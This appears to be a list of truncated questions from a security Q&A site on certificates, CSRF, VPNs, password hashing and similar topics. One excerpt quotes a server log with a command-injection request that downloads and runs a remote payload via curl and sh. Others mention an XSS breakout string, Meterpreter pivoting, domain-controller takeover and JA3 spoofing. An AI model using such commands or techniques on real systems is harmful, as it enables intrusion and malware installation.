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I am looking through a set of PKI certificates and key strings that are specified in a kubernetes yaml file. They are used for testing. Some of the strings are keyed (as in yaml key-value) as crt.pem. All of the strings have the following form: LS0... The typical encoding that I have seen for .pem files is ASCII base64...
I'm currently struggling with the implementation of CSRF in a web application. The application is (more or less) stateless. There is however a session that is kept in a (HttpOnly) cookie. As we use this cookie we are subject to CSRF. But as the session is the only state the application has, I'm wondering how I could do...
I'm currently going through Hacking: The Art of Exploitation and there is an issue I'm having with trying to overflow a function pointer. The code is located here. I'm trying to input hex code into my program so a function pointer can point at the jackpot function to execute it however I can't input it due to not being...
Not sure if things belongs in Crypto SE or here but anyway: I'm building an app and I'm trying to decide whatever is secure to protect user passwords in transit, in addition to TLS we already have. In server side, we already have bcrypt properly implemented and takes the password as an opaque string, salts and peppers ...
if a customer wants to monitor an IPSec-based site-to-site VPN and basically no incoming traffic is needed, would you recommend: a) setting up a permanent tunnel that can be monitored all the time and blocking all incoming traffic b) setting up a non-permanent tunnel (e.g. traffic to IPs of the encryption domain is nee...
I want to run an automatic scan on a web application made with Angular and JSNode. On this one I have access to different types of accounts. On ZAP OWASP I can select the POST request, it detects the parameters in the request, I show it which parameter corresponds to the login and password then I inform it of the diffe...
Context We recently added a feature that used a library whose API we misunderstood. Long story short, if user A sends a request to our web application, the library caches some result, and that result may show in a response to user B's request. Needless to say, this is a security bug, specifically, data from user A leak...
Years ago I created an account and put my reset email as example@yahoo.de by mistake, it should have been @yahoo.com. Recently, I tried to access my old account but could not remember the password. When I tried to reset my email it wanted example@yahoo.de, so I went onto the website but found out that Yahoo now only ha...
I have a bulletin on my site that all valid users have access to (read and write). User input posted to this bulletin is stored in JSON. Because of these qualities there is definitely some concern for XSS. Im hoping to figure out the best way to protect my app and its users when using this feature. Some thoughts: Valid...
I'm having an issue pivoting with meterpreter and portfwd and I am starting to wonder if what I am trying to do is even possible. My attacker (we'll say 10.80.6.3) machine has a shell on victim 1 and I have added a route to victim 2 machine which is in a different subnet. I managed to get a shell on victim 2 and in my ...
I once heard about a type of crypto system that behaves in the following way: I have x secret keys that work together to decrypt messages encrypted with a public key d. If I get at least n of the x secret keys together, I can decrypt messages encrypted with d in their entirety. If I have anything less than n, I get no ...
When I look at the trusted certificates in my browser, I see that many certificate authorities have multiple root certificates associated with them. For example, org-Amazon has Amazon Root CA 1, Amazon Root CA 2, Amazon Root CA 3, and Amazon Root CA 4. How do the purposes of these four certificates differ? I also see t...
As probably all of you, I got an email that was intended as a phishing attack. The HTML version of the email was pretending to be a Facebook email of a security warning. The links do lead to Facebook, for an account-switching crafted URL. I get that one. However, the text version of the email has something like this: ...
I'm going to sell a computer hard drive on the Internet, it's a 500GB SATA hard drive, I really used it 3 or 2 years ago, I never used it again, I used about 20 or 40% of the space. I have read about various tools and used Hardwipe, first I deleted the volume and recreated it, then with the program (option to clean fre...
How would you design a server/client system where a client is granted a key to encrypt/decrypt data, but the key could be revoked/redistributed by the server? Data encrypted prior must still be readable with the new key. A simple scenario: Client wants to send a document to a server Client encrypts the document with s...
I use a laptop running tails/tor to go to a public wifi spot like a coffee shop and set up a new email account on protonmail. Then I take that laptop to a park in the middle of the night where there's an xfinity hotspot and sign up for the free hour pass using that email. No cameras, no people, no harddrive in the lapt...
Our Product Manager wants a 4 digit pin for login in our app, obviously for UX reasons, so user don't have to remember their password each time when they login. A refresh token can be retrieved from backend to obtain a session token, which have access to the API. On our app, we encrypt the refresh token with AES and PB...
I visited a football site yesterday to stream a match online, and since then my connection is unstable. Like, I get connected at times and loses at times. I was over at my friends' and did the same and the network in his house was also weak while trying to visit that website, although I was able to visit the site using...
I'm trying to intercept a SSLv3 connection between a PlayStation 3 client and an authentication server of and outdated game to reverse engineer its protocol. I already tried to set up a simple MITM attack and copied every value from the original certificate. However, the client immediately drops the connection. I'm ass...
I am currently doing a bug bounty program and was testing the company's file upload functionality. After meddling with the functionality for a while, I was able to change the extension of the uploaded file to '.svg' using burpsuite. I have read tons of article saying that .svg files is equal to XSS. In my case I was no...
What do you suggest in order to take over a Windows Domain Controller, given the fact that you gained access to a domain user workstation and so you have domain user credentials? I have domain user credentials (unprivileged user), and so far I have done things like (unfortunately to no avail): Enumeration against the ...
Our company is developing an AOSP-based platform for our customer. Some of our vendor services are using HWBinder for IPC which is using SELinux to restrict service discovery and access. The problem is that our customer insists that SELinux restriction is not enough and we need to provide a DAC-based restriction as wel...
How can I know if a pc has a backdoor in bios, and how to know if there is an hardware malicious impairment?
I would like to know if the following ideas are feasible: Hash function is one-way function. Generate public key from private key is irreversible(asymmetric cryptography). User password entry -> SHA(or adding salt before hashing) -> hash value(as ECC private key) -> generate public key from private key -> save public k...
I checked established connections with "netstat" command in command prompt, and I found that there are some connections with ip's of microsoft (I checked ip online) that have http (and not https) connection established, they bring to some svchost.exe in a Win32 folder of the system. I know that http connections are not...
I am creating WebSocket server with rust and tokio and I want to prevent DDos attacks and spams. So I thought of creating HashMap and inserting IP address for 1 hour which i suspect is trying to do spamming or DDos Attack but will this also ban other innocent users for 1 hour sharing same NAT network with attacker ? If...
I have an application Foo that exposes a web-based portal as well as a REST API service via HTTPS. When a human user connects to the app Foo to use its web-based portal, the human user is first redirected to an OAuth2-based login page. Once the human user is authenticated, they are redirected back to app Foo and now th...
I’m considering developing a simple WiFi scanner and logging App that can run as a service 24 hours a day for months, passively collecting changes in the surrounding wireless environment with the following features: Log changes to BSSIDs, ESSIDs, signal strength, number of clients, etc. Displaying everything on a simp...
I am new to GPG so I may be going about this all wrong. I have some files I would like to encrypt symmetrically using AES256, but I want to sign them with my GPG key. I need to automate this process however so I'm using --batch and I pass the symmetric key after --passphrase. Since it needs to be automated, I've dis...
If my product is currently at EAL4, what is the process to get to EAL7? What additional paperwork or requirements would I need to complete?
What are the things which can be done with SSL VPN which cannot be achieved with IPSec VPN? What are the reasons to opt for SSL VPN instead of IPSec VPN?
If I move a file from a non-hidden encrypted drive to my main C drive, then move the original file to a hidden container on the encrypted drive, then wipe the original file with ccenhancer/secure erase, is that doing enough to ensure the original location isn't known? Or does Windows log moved files by default and some...
I was AFK from my Windows 10 machine, without locking it, and came back to an active TeamViewer session and someone remotely performing a PayPal donation. I do not have TeamViewer installed. I'll reinstall my machine and make some security changes, however I'm wondering: would the same thing have been possible if my se...
please help me out, I am confused in this.
I have a scenario where I have to install Kubernetes on a public cloud and access the Kubernetes via kubectl from a VM on my laptop. Kubectl accesses .kube/config to connect K8S API-Server to do the required operation. There is an application that is running as docker inside the VM and connects to K8S using .kube/confi...
I was told using iptables -P OUTPUT DROP after rules such as iptables -A OUTPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT to accept what is required didn’t do much from a security standpoint. Is that true? This is what I am been using for some time (planning on implementing some SSH brute force rules shortly): i...
Is there way to execute alert box if " is not correctly escaped and can be injected in example below? <script type="application/json">{"requests":{"postClicked":"https://google.com"}</script> injection: <script type="application/json">{"requests":{"postClicked":"injection"}here"-alert()-"}</script> I have tried sever...
I have created a GPG key and uploaded it to pgp.mit.edu. Then I accidentally wiped the drive that contained both the key and the revocation certificate. So what to do now? I found a possible answer here. But how would I do this? And yes, this time I will keep my private key and revocation certificate safe this time.
I'm wondering whether git commit metadata can shred light on potential risk signals or vulnerabilities. Henry Hinnefeld has investigated this, here but this seems to be a way of detecting vulnerabilities which already have been spotted by other developers. Can anyone think how metadata alone can detect vulnerabilities ...
There's a few questions here along these same lines already, but they're nearly a decade old. I'd like to know if things have changed, especially now that Chrome has become more aggressive about asking users to save their passwords, and those passwords being associated with a cloud account. There's lots of rants agains...
I received a notice from maldetect on an Apache machine I'm running, and I've not seen an advice like this before. I'd like to get a better understanding of exactly what I am looking at. I received the following email from the system: HOST: TheMachinesName SCAN ID: 200811-0626.24321 STARTED: Aug 11 2020 06:...
I have a few developers who - well, let's just say I don't have much faith in their operational security. Time was, in the pre-COVID world, it was well understood that they didn't run IDEs directly off their laptops. That seems to have changed. Seeing progressively more requests for remote access to various resources...
To my understanding, password-protected spreadsheets are not best practice for storing admin creds, whether it's a company of 5 people or a company of 50,000 people. In such a case, what are some best practices for storing admin account credentials? My two cents: An obvious answer might be encrypt the data and store it...
I'm working on securing an application that receives SQL and HTML-like information that is actually proprietry formulas in some cases, and parts of XML documents in other cases. So the WAF thinks some HTTP requests are SQL or HTML injection attacks while they actually aren't. So how can I send these formulas and XML in...
Background I have an embedded Linux devices and need to invoke a subprocess. I try to avoid it but sometimes it's the most practical thing to do, e.g. calling networking commands like ip, networkmanager or doing data processing using an proprietary program. The simplest thing to do is to call system(3) but then these b...
The following is the encrypted text: EzKFKgakD7OXpc57py63jCSz9ICVWBxneruHDPqsVDhxDQElGztZwbyOx8Z/mV7GrzMzoCYHeaOCu81gHRzg4aIEusQCuPpoSFqgfhAKKniJYKW108KsVMdb2hmuax/fLCE+pr2ltRD+VMRMPOOB1N6TbCTyqRvKsnBcKFgjBqHgulDW9vbhcqRBKiaaT3kPDLcdkga/rxB/NX/cJUYY8V9zN7aYoQAGCduFDs3+IRQM2Nfi0B6pB/IATitn1bD6LjDCs2w+o0fzqcAH/b7VPoXrrta...
I use VeraCrypt for file-container level encryption for all of my files. But being very paranoid, I am always worried about the OS1, Primary applications and non-primary applications leaking the data.2 I am also tired of cleaning thumbnails, cache files among other things before shutting down my machine. A good solutio...
I know that if i used HTTPS the connection will established after the handshake so (the user will ping the the link then the server will give him public key so the client can provide him with encrypted data only the sever can de-crypt because only the sever have the secret key) now my question is why we use the ssl pin...
I'm implementing client certificate authentication. My server is behind a proxy to which I have no control of. And also I don't have any control over the client side communication. During every request, the client side sends an additional header containing the client cert. From the client help doc, If your server is b...
A small company has a big list of customers. The list contains personal information like names, phone numbers, addresses, info (like what products bought) and some small notes. The data is stored at the computer in the office of the company. The company does not use any cloud service for anything. Backups are manually ...
I have read here and here, that instead of using pepper, it is better to encrypt hashed/salted passwords before storing in the database. Especially with Java, as there's no library for salt/pepper, but just for salt hashing, and I'm not going to implement my own crypto in any way. Have questions about it: Is it true? ...
Why is it a bad idea to encrypt a salted password hash with RSA (or maybe other public-key algorithm) before storing it?
RFC8446/TLSv1.3 Section 9.1 says that "implementations SHOULD support X25519". An online list of software supporting Curve25519 list both Firefox and /Chrome as supporting it for TLS. I did an experiment and created a self-signed TLS cert with Ed25519. Both Chromium 84 and Firefox 79 complain about not being able to ne...
I am currently doing a bug bounty program and found a possible file upload vulnerability, but I am not so sure about it. The vulnerability is on the chat function. In the chat function, users are allowed to communicate with each other and attach files. Upon sending the message, I turned on my burpsuite and intercept th...
I'm trying to understand how shellcode works. I wrote a simple program in C#, then I used Donut to create the shellcode from that exe in base64 format. Then, I wrote again another program to convert the base64 shellcode in a sequence of bytes, in order to reproduce the original exe. I noticed a difference: ILSpy is abl...
Suppose a packet is encrypted and sent via an insecure channel so that it is intercepted by a malicious third party as well as the intended recipient. As long as a suitable encryption scheme is used, the message should be (practically) uncrackable. However, assuming that encryption preserves message length to a certain...
Let's say we have a separate hashing algorithm called s2 and it would convert Hello into dug84nd8. If we could take the algorithm and just reverse engineer it to generate a string like 8GN492MD that would also output dug84nd8, wouldn't it say that (s2("Hello") = s2("8GN492MD")) == true), and let a hacker in? I feel lik...
I am using python requests library to make HTTP calls. However website bot detection is using JA3 fingerprint verification and blocking me. Is there any way I can spoof the JA3 signature.
I am writing a python program in which I use encryption. The user can set the password and when it will be an input, the database will be decrypted. However, the function needs the decryption key to decrypt. So I thought about hiding that key somewhere(encryption and decryption key will be generated dynamically which m...
I am a Mac user. I opened a keyfile generated by Veracrypt and one generated by KeepassXC. The texts in both of them were quite short. Which keyfile is best (i.e., most random and harder to break through): one generated by Veracrypt or one by KeepassXC? OR: Is it best to create my own keyfile?: I can open a photo with...
When we set up security questions, assuming we answer fairly, we give out to the site our secrets, facts from our past. I wonder if the following is considered: we are encouraged to use a different password for every account, but our mothers have only one maiden name, we've had a limited number of pets, etc. Inevitabl...
Almost every beginners (noob friendly) tutorial written for Stack based buffer overflow explains when using mona module to locate a safe reliable memory address for our EIP to JMP to our shellcode should have Rebase, Safe SEH, ASLR disabled. However in a recent stack based buffer overflow challenge, all the modules mo...
I was issued a chromebook, as was everyone at my school, to use for work in class and in case school has to shut down again. We bring it home so it connects to my personal Wi-Fi when I'm at home. I was working on homework and needed to transfer a pdf file off of my tablet to my chromebook, so I decided to just hook it ...
For this question assume a file with 604 perms in a directory with 700 permissions. Assume this file exists: /test/file A non-root user can techincally read that file but in practice to read it the process must be given the pathname to the file, and the kernel will check that the directory /test has the executable bit ...
I am currently serving out an internship with a small MSP (4 employees, 50-100 clients with between a couple and 100 employees). My main project is to work on a information/cyber security audit document that is to be used by the employees to perform audits for client networks. It contains a checklist of items to check ...
We have a java application which allows users to upload attachments and save it on the server. The application has a content security policy defined like this: base-uri 'self'; child-src 'self'; form-action 'self'; frame-ancestors 'self'; connect-src 'self'; font-src 'self' https://fonts.gstatic.com; frame-src 'self'; ...
In a web application there are several pages in which you have sensitvie data and actions like access controls or user management page. Is it a good idea to re-authenticate user to access those pages? If yes, should they be re-authenticated for each access or is it enough to re-authenticate once till the end of session...
Is pass a real alternative to Keepass in terms of security? While Keepass has its own built-in encryption, pass relies on GPG to secure your passwords. GPG is obviously recognized as providing excellent security for transferring data over insecure networks, when the threat model is a MITM. But is GPG still a reliable w...
We can use CORS to restrict API calls to a specific host in a web app. How to do the same for native mobile app? I want to restrict API calls from my app alone. Is it possible to do so?
Why does Wireshark show tls1.2 but it's actually tls1.0? and sometimes, in almost the same situation it shows tlsV1
I went to bed last night, and put my Android phone into Airplane mode, something I do pretty regularly at night, except when I'm on call. However, this morning my WhatsApp popped up telling me that I'm no longer registered on that device (I'm not sure about the exact wording) and I should register my device again. I di...
I am planning to create an API key using the user's password as message and a random number assigned to that user in my database as key (or vice-versa). I will then store the hash of that API key in my database. This will make it possible to: Let users see their API keys whenever they want by typing their password Let...
When reading about docker, I found a part of the documentation describing the attack surface of the docker daemon. From what I was able to understand, part of the argument is that it is possible to share (basically arbitrary) parts of the host filesystem with the container, which can then be manipulated by a privileged...
We are building something like specific blogging social platform. Architecture was originally intended as to have: single page application: all gui, rendered in the browser on the client frontend: mainly proxy layer, api for that SPA, accessible from the internet backend: not accessible from internet, just 443 port op...
It seems to me that "yes, they can". As I saw it in some countries, entering adult content will simply give a warning message that the site is blocked. Some places even block Facebook similarly. If yes, then technically, ISPs can steal a website's users data by altering legitimate HTML and JavaScript with bad HTML, Jav...
I recently downloaded a .exe file from a person's github. I scanned the file in virustotal.com and it showed none of the antiviruses detected a virus. When I checked its behaviour, it had access to network adapters. Nevertheless, I opened the .exe but it just opened a terminal and showed something and disappeared. When...
Can someone explain to me how OWASP Amass correlates information regarding the intel module domain search? As an example, if I run the command: amass intel -d example.com -whois I'll get a list of domains related to example.com. How are all domains related? How does amass search for the related domains in the intel mod...
I understand that a threat is a possible security violation that might exploit the vulnerability of a system, and a attack is an action on a system that harms the organisation in some way. Therefore, we should detect attacks and prevent or mitigate threats. However, when I look on multiple cybersecurity sources focused...
I have a Yubikey NFC 5, when I enter a wrong PIN or PUK three times the smart card is blocked. Can someone please explain to me how it is blocked ? Does the PIN/PUK functionality is disabled somehow ? Does it set a secret PIN (pretty stupid I believe) ? How can I block or unblock a Yubikey (or any smartcard) programmat...
I know there are few questions about the risk of IMEI with various answers from rare risk to none. But my question is regarding the kind of websites that provide IMEI check services for free with some services are paid. An example is this website: https://www.imei.info/ The stats at below the page are staggering. The w...
For context, my web app will be used by users who don't have a strong technical background. What are the pros or cons for displaying a message like this? Something like:
This application is not using any CSRF token and not even cookies to identify users on their server. All they do is use a authorization header to identify users. Since an attacker doesn't know value of this header he can't send cross site requests unlike in case of cookies, where they are automatically send along with ...
Recently I got a very odd request to my website. This is from the log file: 20.42.89.182 - - [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-" 20.42.89.182 - - [12/Aug/2020:18:...
If I use Tails/tor on public WiFi, and a government agency is controlling /snooping nodes or uses malware to conduct a waterhole attack, what information can they gather about me?
If I download a file (PDF,doc,image,video etc) with a tails/tor setup, how can I ensure the file doesn't "call home" or isnt imbedded with malware (other than looking at the hash)? Will a simple malware scan work? And if I use tails to open the files and disconnect from the network I'm using can I still have my anonymi...
I am a student at University and have completed all on my CompSci courses and am getting started in my concentration, security. What I want to do for my project is create and monitor a secure cloud environment using Openstack. Normally, I would be able to use the Private Cloud provided by my school, but may not be able...
We are working on our Vulnerability Management process and as part of that, I was going through the reports from our infrastructure vulnerability scanner. In the reports, I noticed that some of the CVEs does not have a CVSSv3 score, but they have a CVSSv2 score. Eg: CVE-2008-6536. What does that mean? Does it mean that...
Do ISPs like Xfinity gather geographical information about the users of their public hotspots? If so how is it done and how accurate is it?
AutoRecon is a multi-threaded network reconnaissance tool which performs automated enumeration of services. It is intended as a time-saving tool for use in CTFs and other penetration testing environments (e.g. OSCP). https://github.com/Tib3rius/AutoRecon However, I notice that it's taking too long complete. I've test...
What are approaches for monitoring cyber threats “outside” of the organisation, such as data like account passwords, credit cards, company data for sale, etc? While there are services for monitoring account credential availability with email, social media, cybersquatting and so on, can this be done on a much broader sc...
I'm using this Instagram account only on my 2nd phone which has no sim card and airplane mode always on. I use VPN 100% of the time when connecting to the internet. The account isn't linked with any Facebook account. When I checked Instagram Setting > Security > Login Activity, it shows the VPN location. However, when ...
Like many, since March, I've been working from home and using the company's VPN to do my work. Recently, if I open a new tab in Chrome, and navigate to "news.bbc.co.uk", I got the aforementioned error, with the supplemental information being: Attackers might be trying to steal your information from news.bbc.co.uk.x.878...
For a new application I'd like to store messages for each user's account on a centralized server. The user accesses the application through a SPA javascript web app through their browser. These messages: Should be unreadable by the server Are readable only by the user themselves (not other users) Can be added by the s...
I have recently set up parse-server on a DO VPS using 3 docker containers; one for parse-server, one for parse-server dashboard and one for mongodb. Because I am just testing this setup I left the mongo container as it is: mongodb://mongo:27017/dev. I have NGINX (not in docker) running as a reverse proxy (to get SSL). ...
I was working on a bug with our VPN, and read about VPN Phases 1 and 2, each of which have a lifetime in seconds. I was investigating to validate if these had anything to do with the bug we had and apparently not, however I'm still curious has to why do these settings exist at all, what's the purpose of these "lifetim...
I am using a e-banking portal from a major Swiss bank (let's call it "Bank"). Some month ago, a new solution for the processing of electronic billing (e-bill) was introduced. The whole e-bill solution is provided by a third party (let's call it "Partner"). Its user-interface opens within a scrollable area of the e-bank...
I was looking at the answer here and got curious if a function I use may be susceptible to XSS. Mostly because of this statement: Some HTML attributes are inherently dangerous. This includes href, since you can do something like javascript:alert("XSS");. Since you make sure the value will always start with http you sh...
I have 2 certificates (one root and one intermediate). In Windows OS, the Root certificate is in the trusted root store (for current user). The other intermediate certificate (signed by the root CA), is to be found (under current user also) under the Intermediate CA store. I am using SSL verification in one of my clien...
While I understand their function, both IMSI and IMEI makes tracking and surveillance possible by virtue of being persistent idenfitiers for SIM and handset, respectively. Why aren't these replaced with a more secure scheme, maybe something along the lines of randomizing publicly visible device identifier every now and...
We would like to harden our Docker Image and remove redundant software from it. Our Devs and Ops asked to keep some Linux tools used for debugging on the containers running on our Kubernetes Prod environment. I’ve read this post: https://www.digitalocean.com/community/tutorials/how-to-inspect-kubernetes-networking And ...